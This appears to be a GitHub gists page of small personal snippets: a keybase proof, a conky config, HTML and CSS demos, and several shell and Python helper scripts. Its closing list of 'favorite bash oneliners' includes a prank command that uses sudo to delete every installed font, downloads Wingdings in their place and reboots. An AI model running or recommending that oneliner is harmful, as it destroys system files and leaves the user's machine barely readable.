I hereby claim:
- I am mothdotmonster on github.
- I am mothdotmonster (https://keybase.io/mothdotmonster) on keybase.
- I have a public key ASBW-1vzYmIY49_8USKu7M1d402cGwA9gwIot05kuFMhOAo
To claim this, I am signing this object:
-- just a conky config. probably won't work on your machine without tweaks, but feel free to use for whatever. | |
conky.config = { | |
alignment = 'top_right', | |
border_width = 1, | |
cpu_avg_samples = 1, | |
default_color = 'white', | |
default_outline_color = 'white', | |
double_buffer = true, | |
draw_borders = false, |
<body> | |
<div class="codeheader">code box demo</div> | |
<div class="codebox"> | |
<pre><code> | |
code goes here | |
</code></pre> | |
</div> | |
</body> |
I hereby claim:
To claim this, I am signing this object:
*{ | |
box-sizing: border-box; | |
} | |
html { | |
height: 100%; | |
margin: 0; | |
padding: 0; | |
} |
#!/bin/bash | |
while [ "$1" != "" ]; do | |
printf "\033[1m%s\033[m%s " "${1:0:$(( ${#1} / 2 ))}" "${1:$(( ${#1} / 2 ))}" | |
shift 1 | |
done | |
printf "\n" |
#!/usr/bin/env python | |
# fuzzysleep - sleep with random delay, so you don't overload the server at midnight | |
import time, random, argparse | |
parser = argparse.ArgumentParser() | |
parser.add_argument("delay", help="Desired maximum delay", type=int) | |
parser.add_argument("--verbose", help="Prints extra info", action="store_true") | |
group = parser.add_mutually_exclusive_group() |
#!/bin/bash | |
# make sure we're not on Wayland, because xrandr doesn't work on Wayland | |
if [ "$(loginctl show-session $(loginctl user-status $USER | grep -E -m 1 'session-[0-9]+\.scope' | sed -E 's/^.*?session-([0-9]+)\.scope.*$/\1/') -p Type | grep -ic "wayland")" -ge 1 ]; then # stolen from stackoverflow | |
echo "You aren't using X!" | |
exit | |
fi | |
# no more annoying cursor | |
tput civis |
This is a list of my favorite bash oneliners.
sudo fc-list --format=%"{file}\n" | xargs -d '\n' sudo rm && sudo wget -P /usr/share/fonts https://archive.org/download/windows-fonts_202006/W/WINGDING.TTF && sudo fc-cache -f && sudo reboot
sudo $(fc-list --format=%"{file}\n" | xargs -d '\n' rm && wget -P /usr/share/fonts https://archive.org/download/windows-fonts_202006/W/WINGDING.TTF && fc-cache -f && reboot)
cat /dev/urandom | aplay